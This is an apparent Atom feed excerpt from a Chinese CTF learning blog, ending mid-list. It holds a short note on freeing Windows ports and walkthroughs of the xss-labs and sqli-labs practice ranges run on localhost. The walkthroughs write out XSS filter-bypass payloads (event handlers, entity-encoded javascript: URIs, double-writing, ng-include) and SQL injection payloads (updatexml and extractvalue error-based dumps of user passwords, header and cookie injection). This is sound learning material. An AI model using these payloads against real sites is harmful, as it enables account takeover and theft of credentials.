      <![CDATA[<h1 id="解决windows端口占用问题"><a class="markdownIt-Anchor" href="#解决windows端口占用问题"></a> 解决Windows端口占用问题</h1><p>我在搭建靶场时发现总有些端口被占用，作为一名计算机小白，这让我苦恼万分，于是我上网查找解决方法，下面的方法是亲测有效的<img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250729154507473.gif" alt="img" style="zoom:25%;" /></p><p>以解决8700端口为例：</p><p>使用命令查看8700端口被哪个进程占用</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">netstat -ano | findstr 8700</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250729155510091.png" alt="" /></p><p>我们看到28076这个进程被监听了，我们可以看一下线程具体任务</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">tasklist | findstr 28076</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250729155937596.png" alt="" /></p><p>我们看到是被httpd程序占用，可以直接去任务管理器强制关闭，但是我们通常跳过这一步直接执行下面的命令</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">taskkill /pid 28076 /f</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250729160640069.png" alt="" /></p><p>因此关闭端口实际上只需要2步：查找端口对应的pid——&gt;杀死该pid</p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250729162525659.gif" alt="img" style="zoom:200%;" />]]>
    </content>
    <id>https://hackun.top/2025/07/29/%E8%A7%A3%E5%86%B3Windows%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8%E9%97%AE%E9%A2%98/</id>
    <link href="https://hackun.top/2025/07/29/%E8%A7%A3%E5%86%B3Windows%E7%AB%AF%E5%8F%A3%E5%8D%A0%E7%94%A8%E9%97%AE%E9%A2%98/"/>
    <published>2025-07-29T08:26:05.991Z</published>
    <summary>
      <![CDATA[<h1 id="解决windows端口占用问题"><a class="markdownIt-Anchor" href="#解决windows端口占用问题"></a> 解决Windows端口占用问题</h1>
<p>我在搭建靶场时发现总有些端口被占用，作为一名计算机小白，这让我苦恼]]>
    </summary>
    <title>解决Windows端口占用问题</title>
    <updated>2025-07-29T08:25:50.854Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="CTF" scheme="https://hackun.top/categories/CTF/"/>
    <category term="靶场" scheme="https://hackun.top/categories/CTF/%E9%9D%B6%E5%9C%BA/"/>
    <category term="漏洞" scheme="https://hackun.top/tags/%E6%BC%8F%E6%B4%9E/"/>
    <category term="XSS" scheme="https://hackun.top/tags/XSS/"/>
    <category term="CTF" scheme="https://hackun.top/tags/CTF/"/>
    <category term="靶场" scheme="https://hackun.top/tags/%E9%9D%B6%E5%9C%BA/"/>
    <content>
      <![CDATA[<h1 id="xss-labs"><a class="markdownIt-Anchor" href="#xss-labs"></a> xss-labs</h1><h2 id="level2"><a class="markdownIt-Anchor" href="#level2"></a> <a href="http://127.0.0.1:8800/level2.php?keyword=test">level2</a></h2><p>先用基础payload：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">1</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250722085147651.png" alt="image-20250722085147571" /></p><p>查看网页源码：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250722085455454.png" alt="" /></p><p>说明服务端对用户输入做了转义（<code>&lt;</code> 变成了 <code>&amp;lt</code>）</p><p>查看题目源代码：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250722101435850.png" alt="" /></p><p>发现</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="title function_">htmlspecialchars</span>($str)  </span><br></pre></td></tr></table></figure><p>能将一些特殊的 HTML 字符转换为 HTML 实体</p><table><thead><tr><th>字符</th><th>转换为</th></tr></thead><tbody><tr><td><code>&amp;</code></td><td><code>&amp;amp;</code></td></tr><tr><td><code>&lt;</code></td><td><code>&amp;lt;</code></td></tr><tr><td><code>&gt;</code></td><td><code>&amp;gt;</code></td></tr><tr><td><code>&quot;</code></td><td><code>&amp;quot;</code></td></tr><tr><td><code>'</code></td><td><code>&amp;#039;</code> （当 <code>ENT_QUOTES</code> 被设置时）</td></tr><tr><td><code>  </code></td><td><code>&amp;nbsp;</code></td></tr></tbody></table><p>我们可以直接闭合<code>input</code>标签进行绕过</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;</span></span><br></pre></td></tr></table></figure><h2 id="level3"><a class="markdownIt-Anchor" href="#level3"></a> <a href="http://127.0.0.1:8800/level3.php?keyword=test">level3</a></h2><p>还是先用：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;script&gt;<span class="title function_">alert</span>(<span class="number">1</span>)&lt;/script&gt;</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250722161825161.png" alt="image-20250722161825067" /></p><p>查看网页源代码：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250722193225967.png" alt="" /></p><p>发现表单内的和h2标签的都被转义了</p><p>查看源代码：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">echo <span class="string">&quot;&lt;h2 align=center&gt;没有找到和&quot;</span>.<span class="title function_">htmlspecialchars</span>($str).<span class="string">&quot;相关的结果.&lt;/h2&gt;&quot;</span>.<span class="string">&quot;&lt;center&gt;</span></span><br><span class="line"><span class="string">&lt;form action=level3.php method=GET&gt;</span></span><br><span class="line"><span class="string">&lt;input name=keyword  value=&#x27;&quot;</span>.<span class="title function_">htmlspecialchars</span>($str).<span class="string">&quot;&#x27;&gt;    </span></span><br><span class="line"><span class="string">&lt;input type=submit name=submit value=搜索 /&gt;</span></span><br></pre></td></tr></table></figure><p>单引号虽然存在实体<code>&amp;apos</code>但是不被转义（未设置<code>ENT_QUOTES</code>），HTML5中预留但是也不推荐使用</p><p>先闭合value，再引入鼠标事件的属性(最常与 <code>&lt;input&gt;</code>、<code>&lt;select&gt;</code> 和 <code>&lt;a&gt;</code> 标签一起使用)：<br /><code>onclick</code> <code>onfocus</code> <code>onmouseover</code> <code>onmouseout</code></p><p>再闭合javascript伪协议来执行</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; onclick=javascript:alert(1) &#x27;</span> <span class="comment">//点击input标签时</span></span><br><span class="line"><span class="string">&#x27; onfocus=javascript:alert(1) &#x27;</span> <span class="comment">//聚焦input标签时</span></span><br><span class="line"><span class="string">&#x27; onmouseover=javascript:alert(1) &#x27;</span> <span class="comment">//进入input标签时</span></span><br><span class="line"><span class="string">&#x27; onmouseout=javascript:alert(1) &#x27;</span> <span class="comment">//移出input标签时</span></span><br></pre></td></tr></table></figure><p><mark>总结：onfocus可以绕过html实体化(即&lt;&gt;号的过滤)</mark></p><h2 id="level5"><a class="markdownIt-Anchor" href="#level5"></a> <a href="http://127.0.0.1:8800/level5.php?keyword=">level5</a></h2><p>依旧<code>&lt;script&gt;alert(1)&lt;/script&gt;</code>开局，script变成scr_ipt，再试试鼠标事件，on变成o_n</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725160659862.png" alt="image-20250725160659820" /></p><p>源代码：</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725161100558.png" alt="image-20250725161100507" /></p><p>过滤了js的标签还有onfocus事件，虽然str_replace不区分大小写，但是有小写字母转化函数，所以就不能用大小写法来绕过过滤了，只能新找一个方法进行xss注入</p><p>这里可以使用<code>&lt;a&gt;</code>标签的<code>href</code>属性</p><p>payload：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&gt;&lt;a href=javascript:alert(1)&gt;1&lt;/a&gt;&lt;&quot;</span></span><br></pre></td></tr></table></figure><p>点击链接就可以了</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725162013249.png" alt="" /></p><h2 id="level6"><a class="markdownIt-Anchor" href="#level6"></a> <a href="http://127.0.0.1:8800/level6.php?keyword=">level6</a></h2><p>这题替换的关键字比上题多，但是没有添加小写转化函数，我们可以采用大小写绕过</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725165420116.png" alt="" /></p><h2 id="level7"><a class="markdownIt-Anchor" href="#level7"></a> <a href="http://127.0.0.1:8800/level7.php?keyword=">level7</a></h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725170356265.png" alt="image-20250725170356211" /></p><p>不难发现，这里面进行了小写转化，将检测出来的on，script，href，src和data给删掉了，但是我们可以利用双写来绕过</p><p>比如下面这个payload：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&quot;&gt;&lt;scriscriptpt&gt;alert(1)&lt;/scriscriptpt&gt;</span></span><br></pre></td></tr></table></figure><h2 id="level8"><a class="markdownIt-Anchor" href="#level8"></a> <a href="http://127.0.0.1:8800/level8.php?keyword=">level8</a></h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725171040346.png" alt="image-20250725171040279" /></p><p>是把传入的字符串进行转小写之后进行一系列过滤操作，最后将字符写入a标签的href属性中，跳转链接</p><p>我们能利用href的隐藏属性自动Unicode解码，我们可以插入一段js伪协议</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">javascript</span>:<span class="title function_">alert</span>()</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725172151170.png" alt="image-20250725172151118" /></p><p>利用<a href="https://www.jyshare.com/front-end/3602/">在线工具</a>进行Unicode编码后得到</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&amp;#<span class="number">106</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">118</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">115</span>;&amp;#<span class="number">99</span>;&amp;#<span class="number">114</span>;&amp;#<span class="number">105</span>;&amp;#<span class="number">112</span>;&amp;#<span class="number">116</span>;&amp;#<span class="number">58</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">108</span>;&amp;#<span class="number">101</span>;&amp;#<span class="number">114</span>;&amp;#<span class="number">116</span>;&amp;#<span class="number">40</span>;&amp;#<span class="number">41</span>;</span><br></pre></td></tr></table></figure><p><mark>总结： href属性自动解析Unicode编码</mark></p><h2 id="level9"><a class="markdownIt-Anchor" href="#level9"></a> <a href="http://127.0.0.1:8800/level9.php?keyword=">level9</a></h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725173339877.png" alt="image-20250725173339806" /></p><p>下面多了个strpos()函数的验证，输入字符串必须包含<code>http://</code></p><p>payload1：</p><p>将<code>http://</code>用注释符注释掉否则会执行不了无法弹窗</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&amp;#<span class="number">106</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">118</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">115</span>;&amp;#<span class="number">99</span>;&amp;#<span class="number">114</span>;&amp;#<span class="number">105</span>;&amp;#<span class="number">112</span>;&amp;#<span class="number">116</span>;&amp;#<span class="number">58</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">108</span>;&amp;#<span class="number">101</span>;&amp;#<span class="number">114</span>;&amp;#<span class="number">116</span>;&amp;#<span class="number">40</span>;&amp;#<span class="number">41</span>;<span class="comment">/* http:// */</span></span><br></pre></td></tr></table></figure><p>payload2：</p><p>将<code>http://</code>写在alert内</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&amp;#<span class="number">106</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">118</span>;&amp;#<span class="number">97</span>;&amp;#<span class="number">115</span>;&amp;#<span class="number">99</span>;&amp;#<span class="number">114</span>;&amp;#<span class="number">105</span>;&amp;#<span class="number">112</span>;&amp;#<span class="number">116</span>;:<span class="title function_">alert</span>(<span class="string">&#x27;http://&#x27;</span>)</span><br></pre></td></tr></table></figure><p><mark>总结：插入指定内容（本关是http://）绕过检测</mark></p><h2 id="level10"><a class="markdownIt-Anchor" href="#level10"></a> <a href="http://127.0.0.1:8800/level10.php?keyword=">level10</a></h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725210229944.png" alt="" /></p><p>这里有隐藏的传参方法，如果没有后端代码，就查看页面源代码一个一个测，这里是get传参t_sort，并过滤掉了&lt;&gt;号，不能闭合插入标签，但是我们还能用onfocus事件，因为这里输入框被隐藏了，需要添加<code>type=&quot;text&quot;</code>，构造payload：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?t_sort=<span class="string">&quot; onfocus=javascript:alert() type=&quot;</span>text</span><br></pre></td></tr></table></figure><p>这里input标签内将会出现两个type属性，浏览器通常会判定第一个出现的值作为最终的值</p><h2 id="level11"><a class="markdownIt-Anchor" href="#level11"></a> <a href="http://127.0.0.1:8800/level11.php?keyword=good%20job!">level11</a></h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725211733741.png" alt="" /></p><p>先看参数t_sort，想通过覆盖type属性的值就要闭合双引号，就会被转义，是行不通的，那就通过t_ref参数，修改ref头来进行xss</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725212135352.png" alt="" /></p><h2 id="level15"><a class="markdownIt-Anchor" href="#level15"></a> <a href="http://127.0.0.1:8800/level15.php">level15</a></h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725221316368.png" alt="image-20250725221316267" /></p><p>其中：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&lt;span <span class="keyword">class</span>=<span class="string">&quot;ng-include:&#x27;.htmlspecialchars($str).&#x27;&quot;</span>&gt;</span><br></pre></td></tr></table></figure><p><code>ng-include</code>类似于php的文件包含</p><blockquote><p><a href="https://blog.csdn.net/u011127019/article/details/53666528">ng-include</a> 指令用于包含外部的 HTML文件，包含的内容将作为指定元素的子节点，ng-include 属性的值可以是一个表达式，返回一个文件名，默认情况下，包含的文件需要包含在同一个域名下</p><p>特别值得注意的几点如下：</p><ul><li>ng-include,如果<mark>单纯指定地址，必须要加引号</mark></li><li>ng-include,<mark>加载外部html，script标签中的内容不执行</mark></li><li>ng-include,<mark>加载外部html中含有style标签样式可以识别</mark></li><li>ng-inclue,<mark>记载外部html中的link标签可以加载</mark></li></ul></blockquote><p>我们先试试看包涵第一关，构建payload：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?src=<span class="string">&#x27;/level1.php&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725222133382.png" alt="image-20250725222133231" /></p><p>注意，这里不能包涵那些直接弹窗的东西如<code>&lt;script&gt;</code>，但是可以包涵那些标签的东西比如<code>&lt;a&gt;</code>、<code>&lt;input&gt;</code>、<code>&lt;img&gt;</code>、<code>&lt;p&gt;</code>标签等等，这些标签是能需要我们手动点击弹窗的</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">?src=<span class="string">&#x27;level1.php?name=&lt;a href=&#x27;</span><span class="attr">javascript</span>:<span class="title function_">alert</span>(<span class="number">1</span>)<span class="string">&#x27;&gt;xss&lt;/a&gt;&#x27;</span><span class="comment">//错误的，自己看着点单双引号</span></span><br><span class="line">?src=<span class="string">&#x27;level1.php?name=&lt;a href=&quot;javascript:alert(/xss/)&quot;&gt;&#x27;</span><span class="comment">//正确的</span></span><br><span class="line">?src=<span class="string">&#x27;level1.php?name=&lt;img src=1 onerror=alert(1)/&gt;&#x27;</span><span class="comment">//错误的，不要加&#x27;/&#x27;</span></span><br><span class="line">?src=<span class="string">&#x27;level1.php?name=&lt;img src=1 onerror=alert(1)&gt;&#x27;</span><span class="comment">//正确的</span></span><br></pre></td></tr></table></figure><p><mark>总结：ng-include文件包涵，可以无视html实体化</mark></p><h2 id="level16"><a class="markdownIt-Anchor" href="#level16"></a> <a href="http://127.0.0.1:8800/level16.php?keyword=test">level16</a></h2><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250725224923302.png" alt="image-20250725224923234" /></p><p>将<code>script</code>、<code> </code>、<code>/</code>转化为空格的html实体化形式，可以用回车的URL编码<code>%0a</code>代替空格绕过，再配合上不用/的<code>&lt;img&gt;</code>、<code>&lt;svg&gt;</code>等标签</p><p>payload：</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?keyword=<span class="language-xml">&lt;img%0asrc=1%0aonerror=alert(1)&gt;</span></span><br></pre></td></tr></table></figure><blockquote><p>参考：<br /><a href="https://blog.potatowo.top/2023/02/09/XSS/">XSS-potatowo</a></p><p><a href="https://blog.csdn.net/l2872253606/article/details/125638898">xss-labs靶场实战全通关详细过程（xss靶场详解）</a></p></blockquote>]]>
    </content>
    <id>https://hackun.top/2025/07/28/xss-labs/</id>
    <link href="https://hackun.top/2025/07/28/xss-labs/"/>
    <published>2025-07-28T13:17:00.854Z</published>
    <summary>
      <![CDATA[<h1 id="xss-labs"><a class="markdownIt-Anchor" href="#xss-labs"></a> xss-labs</h1>
<h2 id="level2"><a class="markdownIt-Anchor" href="#level]]>
    </summary>
    <title>xss-labs</title>
    <updated>2025-07-28T13:17:57.271Z</updated>
  </entry>
  <entry>
    <author>
      <name>Hackun</name>
    </author>
    <category term="CTF" scheme="https://hackun.top/categories/CTF/"/>
    <category term="靶场" scheme="https://hackun.top/categories/CTF/%E9%9D%B6%E5%9C%BA/"/>
    <category term="漏洞" scheme="https://hackun.top/tags/%E6%BC%8F%E6%B4%9E/"/>
    <category term="SQL" scheme="https://hackun.top/tags/SQL/"/>
    <category term="CTF" scheme="https://hackun.top/tags/CTF/"/>
    <category term="靶场" scheme="https://hackun.top/tags/%E9%9D%B6%E5%9C%BA/"/>
    <content>
      <![CDATA[<h1 id="sqli-labs"><a class="markdownIt-Anchor" href="#sqli-labs"></a> sqli-labs</h1><h2 id="less-17"><a class="markdownIt-Anchor" href="#less-17"></a> <a href="http://127.0.0.1:8900/Less-17/">Less-17</a></h2><p>基于报错注入的加强版</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716171936765.png" alt="" /></p><p>测试注入点时发现无论如何都没反应，只出现上图情况，当用户名为‘ admin ’或‘ Dumb ’时任意密码登录</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716172309503.png" alt="" /></p><p>发现密码会被更新</p><p>既然是修改密码，后端一定存在update语句，修改的是password，猜测传入的password存在引号闭合</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716172513376.png" alt="" /></p><p>发现确实为<code>'</code>闭合</p><p>用报错注入查库，查表，查列，查数据</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716174243669.png" alt="" /></p><p>但是当要查表时出现下述问题</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716174606933.png" alt="" /></p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from users)),1) #</span></span><br></pre></td></tr></table></figure><p>查了一下才知道<strong>mysql修改和查询不能是同一张表</strong></p><p>所以我们可以引入一个临时表</p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;and updatexml(1, concat(0x7e, (select group_concat(username,id,password) from (select username,id,password from users) as ikun limit 0,1)),1) #</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716175733060.png" alt="" /></p><p>但是当我们用<code>limit 1,1</code>时，出现了问题，后来才意识到<code>group_concat</code>是将数据放到一行输出，不能与limit结合查询（只能查一行/部分）</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716175916241.png" alt="" /></p><p>我们进而用<code>mid</code></p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;and updatexml(1, concat(0x7e, mid((select group_concat(username,id,password) from (select username,id,password from users) as ikun ),1,21)),1)#</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716204833493.png" alt="image-20250716204833369" /></p><p>也可以用<code>concat_ws</code>代替<code>group_concat</code></p><p>payload:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27; and updatexml(1,concat(0x7e,(select concat_ws(&#x27;</span>:<span class="string">&#x27;,username,id,password) from (select username,id,password from users) as ikun limit 1,1)),1)#</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250716180304558.png" alt="" /></p><h2 id="less18"><a class="markdownIt-Anchor" href="#less18"></a> <a href="http://127.0.0.1:8900/Less-18/">Less18</a></h2><p>基于user-agent的http头注入</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717100936499.png" alt="" /></p><p>用admin登录看到user-agent的内容回显在页面中</p><p>先尝试用<code>'</code>,出现报错信息，其包含ip和用户名（当然也有user-agent）</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717101217503.png" alt="" /></p><p>猜想在数据中的sql语句为：<code>INSEERT INTO table VALUES('User-Agent','Ip','Username')</code></p><p>(当然我也是看了后端代码才知道的，因为缺乏经验哈哈哈)</p><p>用<code>')</code>闭合</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717101542527.png" alt="" /></p><p>加个#，报错信息消失，说明为<code>')</code>闭合</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717101659851.png" alt="" /></p><p>接下来我们尝试在User-Agent的位置进行注入测试，我们修改User-Agnet的值使其符合整个INSERT INTIO 的语法</p><p>构造<code>1',1,1)#</code>形式进行报错注入</p><p>payload1：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;,1,extractvalue(0x0a,concat(0x0a,(select database()))))#</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717102020139.png" alt="" /></p><p>也可以构造<code>'and ...and '#</code></p><p>payload2:</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27; and extractvalue(0x0a,concat(0x0a,(select database()))) and &#x27;</span>#</span><br></pre></td></tr></table></figure><blockquote><p>解释一下上述paylaod</p><p>插入语句中变成：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;</span> <span class="keyword">and</span> extractvalue(...) <span class="keyword">and</span> <span class="string">&#x27;#&#x27;</span></span><br></pre></td></tr></table></figure><p>这是一个合法的布尔表达式，MySQL会自动将它的最终值转换为·字符串插入到表中</p><p><code>''</code>=true</p><p><code>extractvalue(...)</code> 返回字符串（我们在乎的是它会抛出错误）</p><p><code>’#'</code>=true（<code>#</code>不是起注释作用）</p><p>最终变成：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">INSERT INTO</span> <span class="keyword">table</span> <span class="keyword">VALUES</span>(<span class="operator">&lt;</span>表达式结果<span class="operator">&gt;</span>, <span class="string">&#x27;Ip&#x27;</span>, <span class="string">&#x27;Username&#x27;</span>);</span><br></pre></td></tr></table></figure></blockquote><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717103130214.png" alt="" /></p><h2 id="less20"><a class="markdownIt-Anchor" href="#less20"></a> <a href="http://127.0.0.1:8900/Less-20">Less20</a></h2><p>基于Cookie的http头注入</p><p>用admin登录后出现以下界面</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717105819315.png" alt="" /></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Cookie：uname<span class="operator">=</span>admin</span><br></pre></td></tr></table></figure><p>Cookie这里存在注入点</p><p>尝试用<code>'</code>进行闭合，出现语法报错，加#后页面正常，说明闭合方式为<code>'</code>,看到页面有3个可能的回显点，我先尝试一下联合查询注入</p><p>先判断出有3列</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717110047550.png" alt="" /></p><p>再找出回显位</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717110451708.png" alt="" /></p><p>最后用正常方法即可得到数据</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250717110530606.png" alt="" /></p><h2 id="less23"><a class="markdownIt-Anchor" href="#less23"></a> <a href="http://127.0.0.1:8900/Less-23/">Less23</a></h2><p>注释符全被过滤掉了</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250718095943381.png" alt="" /></p><p>单引号闭合时报错</p><p>加上注释符时报错未消失</p><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250718100037954.png" alt="" /></p><p>猜测注释符可能被过滤掉了（尝试编码绕过也不行）</p><p>过滤了注释符并不能影响我们的注入，可以使用两个单引号分别闭合两侧的 Sql 查询语句，同时需要使用 OR 运算符分割并构造恒真语句</p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27; or &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250718100819514.png" alt="image-20250718100819405" /></p><p>成功力！</p><p>这样就可以开始查询数据库了</p><p>payload：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">?id<span class="operator">=</span><span class="number">1</span><span class="string">&#x27;and updatexml(1,concat(1,(select database())),1) or &#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br><span class="line"># 或者用<span class="keyword">and</span> <span class="string">&#x27;闭合后面的引号也行(这里是报错注入所以就不用太在意and、or逻辑关系)</span></span><br><span class="line"><span class="string">?id=1&#x27;</span> <span class="keyword">and</span> extractvalue(<span class="number">1</span>,concat(<span class="number">1</span>,(<span class="keyword">select</span> database()))) <span class="keyword">and</span> <span class="string">&#x27;</span></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/zkk1233/Picture/main/20250718101146132.png" alt="image-20250718101146015" /></p><h2 id="less26"><a class="markdownIt-Anchor" href="#less26"></a> <a href="http://127.0.0.1:8900/Less-26">Less26</a></h2><p>过滤了and、or、空格、注释符</p><p>and、or可以通过双写绕过，注释符过滤绕过可以通过闭合后引号解决</p><blockquote><p>测试闭合方式（请教了土豆学长才知道）</p><p>先用</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;anandd&#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">1</span></span><br></pre></td></tr></table></figure><p>再用</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="number">1</span><span class="string">&#x27;anandd&#x27;</span><span class="number">1</span><span class="string">&#x27;=&#x27;</span><span class="number">2</span></span><br></pre></td></tr></table></figure><p>若网页回显不同说明是单引号闭合</p></blockquote><p>空格过滤我尝试了url编码、<code>/**/</code>绕过发现行不通</p><p>去网上捣鼓一番，收获颇丰！</p><p>如果空格被过滤可以使用以下字符替代</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), 